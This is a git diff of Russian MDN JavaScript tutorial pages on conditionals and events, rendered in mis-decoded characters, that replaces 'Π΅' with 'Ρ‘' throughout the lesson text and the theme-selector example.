-<p>ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ элСмСнт {{htmlelement('select')}} для Π²Ρ‹Π±ΠΎΡ€Π° Ρ‚Π΅ΠΌΡ‹ (чСрная ΠΈΠ»ΠΈ бСлая), Π° Ρ‚Π°ΠΊΠΆΠ΅ простой {{htmlelement('h1')}} для отобраТСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π²Π΅Π±-сайта. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρƒ нас Π΅ΡΡ‚ΡŒ функция <code>update()</code>, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰Π°Ρ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² (Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…) Π΄Π²Π° Ρ†Π²Π΅Ρ‚Π°. Π’ качСствС Ρ„ΠΎΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Π° Π² качСствС Ρ†Π²Π΅Ρ‚Π° тСкста – Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</p>
+<p>ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ элСмСнт {{htmlelement('select')}} для Π²Ρ‹Π±ΠΎΡ€Π° Ρ‚Π΅ΠΌΡ‹ (чёрная ΠΈΠ»ΠΈ бСлая), Π° Ρ‚Π°ΠΊΠΆΠ΅ простой {{htmlelement('h1')}} для отобраТСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π²Π΅Π±-сайта. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρƒ нас Π΅ΡΡ‚ΡŒ функция <code>update()</code>, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰Π°Ρ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² (Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…) Π΄Π²Π° Ρ†Π²Π΅Ρ‚Π°. Π’ качСствС Ρ„ΠΎΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Π° Π² качСствС Ρ†Π²Π΅Ρ‚Π° тСкста – Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚.</p>
-<p>НаконСц, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡ для запуска Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, содСрТащСй Ρ‚Π΅Ρ€Π½Π°Ρ€Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΎΠ½Π° провСряСт условиС β€” <code>select.value === 'black'</code>. Если возвращаСтся <code>true</code>, ΠΌΡ‹ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>update()</code> с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΈ Π±Π΅Π»ΠΎΠ³ΠΎ, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ Π±Π΅Π»Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ тСкста. Если возвращаСтся <code>false</code>, ΠΌΡ‹ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>update()</code> с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ Π±Π΅Π»ΠΎΠ³ΠΎ ΠΈ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ Ρ†Π²Π΅Ρ‚Π° Π²Π΅Π±-сайта ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½Ρ‹Π΅.</p>
+<p>НаконСц, Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий <a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡ для запуска Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, содСрТащСй Ρ‚Π΅Ρ€Π½Π°Ρ€Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€. Π‘Π½Π°Ρ‡Π°Π»Π° ΠΎΠ½Π° провСряСт условиС β€” <code>select.value === 'black'</code>. Если возвращаСтся <code>true</code>, ΠΌΡ‹ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>update()</code> с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ ΠΈ Π±Π΅Π»ΠΎΠ³ΠΎ, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ Π±Π΅Π»Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ тСкста. Если возвращаСтся <code>false</code>, ΠΌΡ‹ запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>update()</code> с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ Π±Π΅Π»ΠΎΠ³ΠΎ ΠΈ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ Ρ†Π²Π΅Ρ‚Π° Π²Π΅Π±-сайта ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π° ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½Ρ‹Π΅.</p>
<div class="note">
<p><strong>Note</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">Π½Π°ΠΉΡ‚ΠΈ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° GitHub</a> (Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚</a>.)</p>
@@ -602,8 +602,8 @@ textarea.onkeyup = function(){
<ul>
<li>Она Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>choice</code> Π² качСствС Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ выраТСния.</li>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт case Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π°, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· доступных для Π²Ρ‹Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: бСлая, чСрная, лиловая, ТСлтая ΠΈΠ»ΠΈ психодСличСская Ρ‚Π΅ΠΌΠ°.</li>
- <li>Π’ Π±Π»ΠΎΠΊΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта case Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>update()</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ пСрСдаСтся Π΄Π²Π° Ρ†Π²Π΅Ρ‚Π°: ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ – это Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ – Ρ†Π²Π΅Ρ‚ тСкста. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ значСния Ρ†Π²Π΅Ρ‚ΠΎΠ² – это строковыС значСния, поэтому ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт case Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π²Ρ‹Π±ΠΎΡ€Π°, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· доступных для Π²Ρ‹Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ: бСлая, чёрная, лиловая, Тёлтая ΠΈΠ»ΠΈ психодСличСская Ρ‚Π΅ΠΌΠ°.</li>
+ <li>Π’ Π±Π»ΠΎΠΊΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта case Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>update()</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ пСрСдаётся Π΄Π²Π° Ρ†Π²Π΅Ρ‚Π°: ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ – это Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π°, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ – Ρ†Π²Π΅Ρ‚ тСкста. ΠŸΠΎΠΌΠ½ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ значСния Ρ†Π²Π΅Ρ‚ΠΎΠ² – это строковыС значСния, поэтому ΠΈΡ… Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ.</li>
</ul>
<p>Если допустили ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ «Бброс», Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ исходному Π²ΠΈΠ΄Ρƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. Если Ρƒ вас совсСм Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ получаСтся, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Β«ΠŸΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅Β».</p>
@@ -615,9 +615,9 @@ textarea.onkeyup = function(){
&lt;label for="theme"&gt;Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ‚Π΅ΠΌΡƒ: &lt;/label&gt;
&lt;select id="theme"&gt;
&lt;option value="white"&gt;БСлая&lt;/option&gt;
- &lt;option value="black"&gt;ЧСрная&lt;/option&gt;
+ &lt;option value="black"&gt;Чёрная&lt;/option&gt;
&lt;option value="purple"&gt;Лиловая&lt;/option&gt;
- &lt;option value="yellow"&gt;ЖСлтая&lt;/option&gt;
+ &lt;option value="yellow"&gt;Жёлтая&lt;/option&gt;
&lt;option value="psychedelic"&gt;ΠŸΡΠΈΡ…ΠΎΠ΄Π΅Π»ΠΈΡ‡Π΅ΡΠΊΠ°Ρ&lt;/option&gt;
&lt;/select&gt;
@@ -732,7 +732,7 @@ updateCode();
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π­Ρ‚ΠΎ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ± условных логичСских структурах! Π£Π²Π΅Ρ€Π΅Π½Ρ‹, Π²Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Π»ΠΈΡΡŒ Π² тСорСтичСском ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π΅ ΠΈ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡΠΏΡ€Π°Π²ΠΈΠ»ΠΈΡΡŒ с ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ упраТнСниями. Если ΠΆΠ΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ для вас нСпонятным, ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΈΠ»ΠΈ <a href="/en-US/Learn#Contact_us">ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ</a>.</p>
+<p>Π­Ρ‚ΠΎ всС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ± условных логичСских структурах! Π£Π²Π΅Ρ€Π΅Π½Ρ‹, Π²Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Π»ΠΈΡΡŒ Π² тСорСтичСском ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π΅ ΠΈ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΡΠΏΡ€Π°Π²ΠΈΠ»ΠΈΡΡŒ с ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ упраТнСниями. Если ΠΆΠ΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΎΡΡ‚Π°Π»ΠΎΡΡŒ для вас нСпонятным, ΠΏΠ΅Ρ€Π΅Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΈΠ»ΠΈ <a href="/en-US/Learn#Contact_us">ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с Π½Π°ΠΌΠΈ</a>.</p>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/javascript/building_blocks/events/index.html b/files/ru/learn/javascript/building_blocks/events/index.html
index 054bc58159..287430e632 100644
--- a/files/ru/learn/javascript/building_blocks/events/index.html
+++ b/files/ru/learn/javascript/building_blocks/events/index.html
@@ -30,14 +30,14 @@ original_slug: Learn/JavaScript/Building_blocks/Бобытия
<h2 id="БСрия_ΡƒΠ΄Π°Ρ‡Π½Ρ‹Ρ…_событий">БСрия ΡƒΠ΄Π°Ρ‡Π½Ρ‹Ρ… событий</h2>
-<p>ΠŸΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ <strong>события</strong> систСма гСнСрируСт сигнал, Π° Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ автоматичСски ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ дСйствия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄), ΠΊΠΎΠ³Π΄Π° происходит событиС. НапримСр, Π² аэропорту, ΠΊΠΎΠ³Π΄Π° Π²Π·Π»Π΅Ρ‚Π½ΠΎ-посадочная полоса свободна для Π²Π·Π»Π΅Ρ‚Π° самолСта, сигнал пСрСдаСтся ΠΏΠΈΠ»ΠΎΡ‚Ρƒ, ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ ΠΊ Π²Π·Π»Π΅Ρ‚Ρƒ.</p>
+<p>ΠŸΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ <strong>события</strong> систСма гСнСрируСт сигнал, Π° Ρ‚Π°ΠΊΠΆΠ΅ прСдоставляСт ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ автоматичСски ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ дСйствия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄), ΠΊΠΎΠ³Π΄Π° происходит событиС. НапримСр, Π² аэропорту, ΠΊΠΎΠ³Π΄Π° Π²Π·Π»Ρ‘Ρ‚Π½ΠΎ-посадочная полоса свободна для Π²Π·Π»Ρ‘Ρ‚Π° самолёта, сигнал пСрСдаётся ΠΏΠΈΠ»ΠΎΡ‚Ρƒ, ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠ½ΠΈ ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ ΠΊ Π²Π·Π»Π΅Ρ‚Ρƒ.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/17376/MDN-mozilla-events-runway.png" style="height: 443px; width: 700px;"></p>
<p>Π’ Web события Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΊΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»ΡΡŽΡ‚ΡΡ ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ элСмСнту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² Π½Π΅ΠΌ находится. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ элСмСнт, Π½Π°Π±ΠΎΡ€ элСмСнтов, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ HTML, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅, ΠΈΠ»ΠΈ всС ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. БущСствуСт мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²ΠΈΠ΄ΠΎΠ² событий, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<ul>
- <li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΌΡ‹ΡˆΡŒΡŽ ΠΈΠ»ΠΈ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ курсор Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ элСмСнт.</li>
+ <li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚ ΠΌΡ‹ΡˆΡŒΡŽ ΠΈΠ»ΠΈ Π½Π°Π²ΠΎΠ΄ΠΈΡ‚ курсор Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ элСмСнт.</li>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ»Π°Π²ΠΈΡˆΡƒ Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π΅.</li>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ измСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈΠ»ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</li>
<li>Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π²Π΅Π±-страницы.</li>
@@ -48,7 +48,7 @@ original_slug: Learn/JavaScript/Building_blocks/Бобытия
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ событиях ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π² <a href="/ru/docs/Web/Events">Π‘ΠΏΡ€Π°Π²ΠΎΡ‡Π½ΠΈΠΊΠ΅ ΠΏΠΎ событиям</a>.</p>
-<p><span>КаТдоС доступноС событиС ΠΈΠΌΠ΅Π΅Ρ‚ </span><strong>ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий<strong>Β </strong></strong>β€”<span>Β Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ это функция JavaScript, вводимая Π²Π°ΠΌΠΈ Π² качСствС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ срабатывании события. Когда Ρ‚Π°ΠΊΠΎΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ на запуск в ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° возникновСниС события, ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ </span><strong>рСгистрируСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий</strong><span>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ </span><strong>ΡΠ»ΡƒΡˆΠ°Ρ‚Π΅Π»ΡΠΌΠΈ событий (ΠΎΡ‚ Π°Π½Π³Π». event listeners).</strong><span> Они Π² Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ стСпСни взаимозамСняСмы для Π½Π°ΡˆΠΈΡ… Ρ†Π΅Π»Π΅ΠΉ, хотя, строго говоря, ΠΎΠ½ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ вмСстС. Π‘Π»ΡƒΡˆΠ°Ρ‚Π΅Π»ΡŒΒ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π΅Ρ‚ событиС, Π°Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ </span>β€”Β <span>это ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° событиС.</span></p>
